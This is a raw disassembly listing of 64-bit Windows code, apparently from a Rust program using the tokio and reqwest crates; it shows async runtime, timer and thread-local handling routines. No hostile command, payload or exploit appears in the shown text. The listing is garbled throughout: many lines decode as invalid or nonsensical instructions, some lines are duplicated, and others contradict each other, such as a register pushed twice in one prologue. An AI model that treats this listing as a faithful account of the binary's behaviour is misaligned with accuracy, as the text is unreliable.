ror byte [rax - 0x7d], 0xc4
pop rsi
ret
int3
add ecx, esi
mov dl, 0xd6
ret
movzx eax, byte [rcx + 0x268]
push 0xffffffff85000002
sal byte [rbp + rdx - 0x7d], 0xf8
test eax, eax
je 0x1400b9e85
cmp eax, 3
je 0x1400b9e8f
add esi, dword [rdx + rbx - 0x7d]
clc
add al, 0xf
test dword [rax + 0x48000000], eax
add ecx, 0x270
sal dword [rax + 2], 0
invalid
cmp eax, 4
jne 0x1400b9efe
add rcx, 0x270
sal dword [rax + 2], 0
add byte [rax - 0x7d], cl
invalid
add rsp, 0x20
and byte [rsi - 0x17], bl
push rcx
invalid
pop rsi
jmp 0x1400adce0
lea rax, [rcx + 0x270]
add byte [rax], al
mov rsi, rcx
mov rcx, rax
call 0x1400adce0
lea rcx, [rsi + 0x4c8]
add al, 0
invalid
add al, 0
add al, ch
invalid
jae 0x1400b9eda
call fcn.1400ece20
add eax, dword [rax]
mov rax, rsi
lea rcx, [rsi + 0x4d0]
cmp qword [rsi + 0x4c8], 0
cmp dword [rsi + 0x4c8], 0
mov esi, 0x4c8
add byte [rax + rdx + 0x48], dh
mov edx, dword [rcx]
je 0x1400b9ed1
mov rdx, qword [rcx]
lock dec qword [rdx]
jne 0x1400b9ee2
call fcn.140068e50
jmp 0x1400b9edf
invalid
cli
invalid
invalid
mov rdx, qword [rcx]
lock dec qword [rdx]
jne 0x1400b9ee2
call fcn.140069ba0
mov rax, rsi
mov rdx, qword [rax + 0x510]
nop
adc byte [0xc5539eeb], al
test rdx, rdx
je 0x1400b9efe
mov rcx, qword [rax + 0x518]
test rdx, rdx
je 0x1400b9efe
mov rcx, qword [rax + 0x518]
add rsp, 0x20
pop rsi
jmp qword [rdx + 0x18]
sbb byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
pop rsi
ret
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x5d8
movdqa xmmword [rsp + 0x5c0], xmm6
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x268]
mov dh, 0x82
push 0x48000002
lea ecx, [0x140174c14]
or eax, dword [rax]
jg 0x1400b9edb
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x368]
mov r8d, 0x258
mov eax, 0x258
mov eax, 0x258
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov ebp, dword [rdi + 0x260]
cmp ebp, 0x3b9aca00
jne 0x1400b9fdd
lea rcx, [rdi + 0x270]
mov r8d, 0x258
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rdi + 0x270]
jo 0x1400b9f8c
add byte [rax], al
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400af070
movzx r15d, byte [rsp + 0x41]
cmp r15b, 3
jne 0x1400b9fb3
mov byte [rsi + 0x11], 3
mov al, 4
jmp 0x1400ba3c5
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x20], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x24], ax
mov rcx, r14
call 0x1400adce0
jmp 0x1400ba3a8
mov r14, qword [rdi + 0x258]
call fcn.1400dfe70
add rax, r14
jae 0x1400ba04f
call fcn.1400dfe70
add rax, 0x38640900
add eax, 0x38640900
add eax, 0x38640900
jb 0x1400ba3f6
mov r8d, edx
cmp edx, 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rdx + 0x3c]
add dl, cl
invalid
inc rax
je 0x1400ba3f6
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x1400ba046
vpsubb xmm8, xmm15, xmmword gs:[r8]
retf 0x3b9a
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
imul ecx, ecx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x1400ba40e
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
or eax, 0x917bb
jmp 0x1400ba071
mov r8d, edx
add r8d, ebp
cmp r8d, 0x3b9aca00
jb 0x1400ba06a
inc rax
je 0x1400b9fee
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
lea rcx, [rsp + 0x30]
mov rdx, rax
ret 0x2e8
test al, 3
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0xa0
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x68
add eax, dword [rax]
invalid
ret 0x2e8
xchg esp, eax
and al, 0x68
add eax, dword [rax]
add byte [rcx - 0x48], al
pop rax
add al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
add byte [rax], al
mov r8d, 0x258
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rdi], cl
adc byte [rsp + 0x40], cl
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
and al, 0x60
and al, 0x60
movups xmmword [rsp + 0x2f8], xmm0
movups xmmword [rsp + 0x308], xmm1
clc
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x308], ecx
movups xmmword [rsp + 0x318], xmm2
movups xmmword [rsp + 0x328], xmm3
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x338], xmm0
movups xmm0, xmmword [rsp + 0x80]
add byte [rdi], cl
adc dword [rsp + 0x348], eax
add byte [rdi], cl
adc dword [rsp + 0x348], eax
movdqu xmm0, xmmword [rsp + 0x90]
movq mm0, qword [rsp + 0x90]
movdqu xmmword [rsp + 0x358], xmm0
lea rcx, [rdi + 0x270]
mov r8d, 0x2c8
add eax, dword [rax]
add byte [rax - 0x73], cl
invalid
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rdi + 0x270]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ba16c
test eax, eax
jne 0x1400ba199
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x3c], cl
ror dword [rcx - 0x73], 0x8f
rol byte [rax], 1
add byte [rax], al
add byte [rbx + rcx*4 + 0x3c], cl
ror dword [rcx - 0x73], 0x8f
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
movsd dword [rdi], dword [rsi]
add al, byte [rax]
invalid
add al, ch
insb byte [rdi], dx
cdq
add dword [rax], eax
call fcn.1400d3ad0
mov byte [r15 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
rol dword [rax + 0x11cb8], 0
add byte [rdi], cl
xchg ebp, eax
rol dword [rax + 0x11db8], 0
add byte [rax], al
rol dword [rax + 0x11cb8], 0
add byte [rdi], cl
xchg ebp, eax
rol dword [rax + 0x11db8], 0
add byte [rax], al
sete r12b
sete r12b
and r12b, cl
jmp 0x1400ba19c
xor r12d, r12d
lea r15, [rdi + 0x4c8]
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400af070
movzx ebp, byte [rsp + 0x41]
cmp ebp, 3
add ecx, dword [rdi]
invalid
xchg edi, eax
add byte [rax], al
invalid
add ecx, dword [rdi]
test dword [rdi - 0x75000000], edx
add eax, 0xc30ed
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x1400ba212
clc
add dword [rdx + rsi - 0x7b], esi
sal byte [rbp + 0x64], 0x8b
add eax, 0xc30ca
test eax, eax
jne 0x1400ba248
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r13 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
test r13b, r13b
sete cl
cmp byte [rax + 0x11d], 0
setne al
or al, cl
enter 0x841, 0xffffffffffffffc4
enter 0x841, 0xffffffffffffffc4
cmp r12b, 1
jne 0x1400ba27a
mov rdx, qword [rbx]
mov rcx, r15
call fcn.1400f4af0
jmp 0x1400ba308
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x28], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x2c], ax
jmp 0x1400ba317
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
mov byte [r12 + 0x11c], 0
mov rdx, qword [rbx]
mov rcx, r15
call fcn.1400f4af0
movzx ecx, byte [r12 + 0x120]
cmp ecx, 1
je 0x1400ba2e7
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x24], cl
retf 0x8d49
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
add dword [rax], eax
add dword [rax], eax
mov eax, ebx
mov byte [r12 + 0x120], 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], r13b
mov byte [rcx + 0x11d], 0
test al, al
je 0x1400ba317
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x1400ba3c5
mov rcx, r14
call 0x1400adce0
dec dword [rcx + rcx*4 - 7]
dec dword [rcx + rcx*4 - 7]
call fcn.1400ece20
lea rcx, [rdi + 0x4d0]
lea ecx, [rdi + 0x4d0]
lea ecx, [rdi + 0x4d0]
cmp qword [rdi + 0x4c8], 0
add al, 0
add byte [rax], al
je 0x1400ba348
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400ba356
mov rax, qword [rcx]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
or byte [rbp + 5], dh
jne 0x1400ba356
call fcn.140069ba0
mov rax, qword [rdi + 0x510]
test rax, rax
je 0x1400ba36c
mov rcx, qword [rdi + 0x518]
call qword [rax + 0x18]
add bh, bh
push rax
sbb byte [rcx - 0x49], al
add al, byte [rbx + 0x347402fd]
cmp ebp, 3
invalid
mov r15b, 2
cmp ebp, 2
je 0x1400ba3a8
add esi, dword [rbp + 0x1a]
jne 0x1400ba393
lea rax, [0x140139cf8]
movq xmm0, rax
movdqa xmm6, xmmword [0x14010fa20]
punpcklqdq xmm6, xmm0
invalid
jmp 0x1400ba3a8
js 0x1400ba377
invalid
push rsi
add eax, 0x6c0f6600
invalid
movzx eax, word [rsp + 0x2c]
mov word [rsp + 0x24], ax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x20], eax
mov r15d, ebp
mov edi, ebp
mov edi, ebp
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], r15b
mov eax, dword [rsp + 0x20]
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x24]
mov word [rsi + 0x16], ax
mov dword [rsi + 0x16], eax
mov al, 1
mov byte [rdi + 0x268], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x5c0]
add byte [rax], al
add byte [rax], al
add rsp, 0x5d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140104c30
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401466c8]
mov edx, 0x28
call fcn.140104a60
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
mov qword [rsp + 0x38], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea rcx, [rsp + 0x30]
call fcn.140104620
ud2
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400c0c10
cmp eax, 1
je 0x1400c0c39
mov rcx, r14
mov rdx, r12
call fcn.1400c2200
jmp 0x1400c0ccd
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
mov rdx, r15
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
movzx ebp, byte [rbx + 0x11c]
movzx r13d, byte [rbx + 0x11d]
mov word [rbx + 0x11c], 0x8001
mov rcx, r14
mov rdx, r12
call fcn.1400c2200
movzx ecx, byte [rbx + 0x120]
cmp ecx, 1
je 0x1400c0cac
test ecx, ecx
jne 0x1400c0ccd
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rsi, qword [rdx + rcx*8]
lea rcx, [rsi + 0xd0]
mov rdx, r15
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
mov byte [rsi + 0x120], 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], bpl
add byte [rax], al
add byte [rax], al
mov byte [rcx + 0x11d], r13b
test al, al
je 0x1400c0cdb
call fcn.1400e8600
jmp 0x1400c0bd0
lea rcx, [rsp + 0x1c0]
call fcn.1400c2e10
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x130]
call qword [rax + 0x18]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c0d4f
test eax, eax
jne 0x1400c1e74
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
je 0x1400c1d91
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11e], 2
cmp dword [rax + 0x110], 0
jne 0x1400c0d97
call fcn.1400e4500
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x110], 1
mov ecx, dword [rsp + 0x80]
mov dword [rax + 0x114], ecx
mov dword [rax + 0x118], edi
lea rcx, [rsp + 0x30]
call fcn.1400e6cd0
mov rax, qword [rsp + 0x30]
cmp rax, 2
je 0x1400c19ea
test rax, rax
je 0x1400c19ab
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400c19ea
lea rcx, [rsp + 0x38]
call fcn.140068e50
jmp 0x1400c19ea
movabs byte [0x25048b4c65000bc4], al
pop rax
add byte [rax], al
add byte [rcx - 0x75], cl
or al, 0xc8
mov dword [rcx + 0x110], 1
mov dword [rcx + 0x114], esi
mov dword [rcx + 0x118], edi
cmp qword [rcx + 0xd0], 0
jne 0x1400c1d85
mov ecx, dword [0x14017d2b4]
mov r8, qword gs:[0x58]
imul eax, esp, 0xb
add byte [rbp + 0x4c], ah
mov eax, dword [0x58]
mov rcx, qword [r8 + rcx*8]
mov ecx, dword [rax + rcx*8]
enter 0xffffffffffffc748, 0xffffffffffffff81
rol byte [rax], 1
add byte [rax], al
mov qword [rcx + 0xd0], 0xffffffffffffffff
mov rcx, qword [rsp + 0x110]
mov r10, qword [rsp + 0x108]
mov r8d, 1
mov r9d, 1
lock xadd qword [rcx], r9
test r10, r10
je 0x1400c0e91
invalid
test r9, r9
jns 0x1400c0e9d
jmp 0x1400c1d45
test r9, r9
js 0x1400c1d45
xor r8d, r8d
mov r9d, dword [0x14017d2b4]
mov r10, qword gs:[0x58]
mov r11, qword [r10 + r9*8]
mov r9, qword [r11 + 0xd8]
mov r10, qword [r11 + 0xe0]
mov qword [r11 + 0xd8], r8
mov qword [r11 + 0xe0], rcx
add byte [rax], al
add byte [rax], al
inc qword [r11 + 0xd0]
mov rcx, qword [r11 + 0xe8]
cmp rcx, 0xffffffffffffffff
je 0x1400c1eda
inc rcx
mov r8d, dword [0x14017d2b4]
mov r11, qword gs:[0x58]
mov r8, qword [r11 + r8*8]
mov qword [r8 + 0xe8], rcx
mov qword [rsp + 0xb8], r9
mov qword [rsp + 0xc0], r10
mov qword [rsp + 0xc8], rcx
mov dword [rsp + 0xd0], eax
mov dword [rsp + 0xd4], edx
cmp qword [rsp + 0x108], 0
jne 0x1400c1f14
xor esi, esi
xorps xmm6, xmm6
lea rdi, [rsp + 0x30]
lea rbx, [rsp + 0x170]
lea r14, [rsp + 0x1c0]
mov r12b, 1
nop word cs:[rax + rax]
xor eax, eax
xchg qword [rsp + 0x100], rax
test rax, rax
jne 0x1400c12c6
mov qword [rsp + 0x128], 2
mov rax, qword [rsp + 0xe0]
shr rax, 2
lea rdx, [rsp + 0x58]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rsp + 0x1a1]
mov ecx, dword [rsp + 0x1a4]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x128]
test rax, rax
jne 0x1400c0ff9
call fcn.1400e82d0
test rax, rax
je 0x1400c1d19
mov rax, qword [rax]
lock inc qword [rax]
jle 0x1400c1d45
test rax, rax
je 0x1400c1d19
add rax, 0x10
lea rcx, [0x140149140]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
jmp 0x1400c103e
mov al, 1
lock cmpxchg byte [r13], sil
jne 0x1400c1255
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c1092
mov r13b, 2
test eax, eax
jne 0x1400c10be
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r15 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx r15d, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
mov rcx, rdi
mov rdx, rbx
call fcn.1400f4290
test al, al
je 0x1400c10f0
mov rcx, r14
mov rdx, rbx
call fcn.1400c2200
mov ebp, eax
inc bpl
cmp r13b, 2
jne 0x1400c10f8
jmp 0x1400c1173
xor ebp, ebp
cmp r13b, 2
je 0x1400c1173
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c1152
test eax, eax
jne 0x1400c1173
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r12, r14
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov r14, r12
mov r12b, 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
mov byte [rax + 0x11d], r15b
cmp bpl, 2
jne 0x1400c1270
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r15, qword [rax + 0x128]
test r15, r15
je 0x1400c11b0
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
je 0x1400c103e
jmp 0x1400c11d2
call fcn.1400e82d0
test rax, rax
je 0x1400c1bf9
mov r15, qword [rax]
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
je 0x1400c103e
lea r13, [r15 + 0x20]
xor eax, eax
lock cmpxchg byte [r15 + 0x20], r12b
jne 0x1400c1223
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r15 + 0x10], rcx
jne 0x1400c1240
lea rbp, [r15 + 0x18]
nop word cs:[rax + rax]
mov rcx, rbp
mov rdx, r13
mov r9d, 0x3b9aca00
call fcn.140049940
mov eax, 2
lock cmpxchg qword [r15 + 0x10], rsi
jne 0x1400c1200
jmp 0x1400c1030
mov rcx, r13
call fcn.1401076d0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r15 + 0x10], rcx
je 0x1400c11ef
nop word [rax + rax]
cmp rax, 2
jne 0x1400c1c31
xor eax, eax
xchg qword [r15 + 0x10], rax
jmp 0x1400c1030
mov rcx, r13
call fcn.140107330
jmp 0x1400c103e
mov rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x178]
call qword [rax + 0x18]
mov rcx, rdi
call fcn.1400f4020
mov rax, qword [rsp + 0x50]
test bpl, bpl
jne 0x1400c1881
test rax, rax
je 0x1400c12a6
mov rcx, qword [rsp + 0x58]
call qword [rax + 0x18]
cmp dword [rsp + 0x128], 2
je 0x1400c0f60
lea rcx, [rsp + 0x128]
call fcn.1400c2d20
jmp 0x1400c0f60
mov rcx, qword [rsp + 0x110]
lock inc qword [rcx]
jle 0x1400c1d45
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x148]
movups xmmword [rax], xmm0
mov qword [rsp + 0x158], 8
mov qword [rsp + 0x160], 0
lea r9, [rsp + 0xe0]
mov qword [rsp + 0x168], r9
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
movups xmm1, xmmword [rsp + 0x148]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], r8
movaps xmmword [rsp + 0x50], xmm1
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x30], 0
jne 0x1400c1f4e
cmp qword [rsp + 0x40], 0
jne 0x1400c1f94
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r12, r12
je 0x1400c1fa0
mov qword [rsp + 0x40], 0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c142b
test eax, eax
jne 0x1400c1fb8
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
lea rbx, [rsp + 0x38]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rsp + 0x80], rcx
mov qword [rax + 0x108], rdi
mov rax, qword [rsp + 0x38]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140149768]
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], rcx
lea rdi, [0x1400e46c0]
lea r14, [rsp + 0x1c0]
lea r15, [rsp + 0x88]
jmp 0x1400c14bc
mov r8, qword [rsp + 0x38]
add r8, 0x10
mov rcx, rbx
mov rdx, r12
call fcn.1400ea8f0
mov r12, rax
mov rax, qword [rsp + 0x38]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x1400c1644
cmp qword [rsp + 0x40], 0
jne 0x1400c1ba5
mov qword [rsp + 0x40], 0xffffffffffffffff
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400c1500
call fcn.140003a80
mov rax, qword [rsp + 0x40]
inc rax
jmp 0x1400c1502
xor eax, eax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400c1540
cmp eax, 1
je 0x1400c1569
mov rcx, r14
mov rdx, r15
call fcn.1400c2200
jmp 0x1400c1607
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
mov rdx, rdi
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
movzx esi, byte [r12 + 0x11c]
movzx ebp, byte [r12 + 0x11d]
mov word [r12 + 0x11c], 0x8001
mov rcx, r14
mov rdx, r15
call fcn.1400c2200
movzx ecx, byte [r12 + 0x120]
cmp ecx, 1
je 0x1400c15e6
test ecx, ecx
jne 0x1400c1607
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov r13, qword [rdx + rcx*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
mov r12d, eax
call fcn.1400d3ad0
mov eax, r12d
mov byte [r13 + 0x120], 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], sil
mov byte [rcx + 0x11d], bpl
cmp qword [rsp + 0x40], 0
jne 0x1400c1b81
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r12, r12
je 0x1400c1b8d
mov qword [rsp + 0x40], 0
test al, al
je 0x1400c184a
mov r8, qword [rsp + 0x38]
mov ebp, dword [r8 + 0x40]
test ebp, ebp
je 0x1400c14a5
nop word cs:[rax + rax]
cmp byte [r12 + 0x68], 0
jne 0x1400c1bb1
inc dword [r12 + 0x60]
mov rdx, qword [rsp + 0x38]
add rdx, 0x10
mov rcx, r12
call fcn.1400e8890
test rax, rax
je 0x1400c1810
cmp qword [rsp + 0x40], 0
jne 0x1400c1ba5
mov r13, rax
mov qword [rsp + 0x40], 0xffffffffffffffff
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400c16c0
call fcn.140003a80
mov rax, qword [rsp + 0x40]
inc rax
jmp 0x1400c16c2
xor eax, eax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c171b
mov r12b, 2
test eax, eax
jne 0x1400c1746
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
mov rdx, rdi
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r12d, byte [rax + 0x11c]
movzx esi, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
mov rax, qword [r13 + 0x10]
mov rcx, r13
call qword [rax]
cmp r12b, 2
je 0x1400c17c3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c17a2
test eax, eax
jne 0x1400c17c3
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
call fcn.1400d3ad0
mov byte [r13 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r12b
mov byte [rax + 0x11d], sil
cmp qword [rsp + 0x40], 0
jne 0x1400c1b81
mov qword [rsp + 0x40], 0xffffffffffffffff
mov r12, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r12, r12
je 0x1400c1b8d
mov qword [rsp + 0x40], 0
dec ebp
jne 0x1400c1660
jmp 0x1400c14a0
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x50], rax
jae 0x1400c1d47
mov r8, qword [rsp + 0x38]
add r8, 0x10
cmp qword [rsp + 0x68], 0
jne 0x1400c14a9
mov rcx, rbx
mov rdx, r12
call fcn.1400e8a90
jmp 0x1400c14b4
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
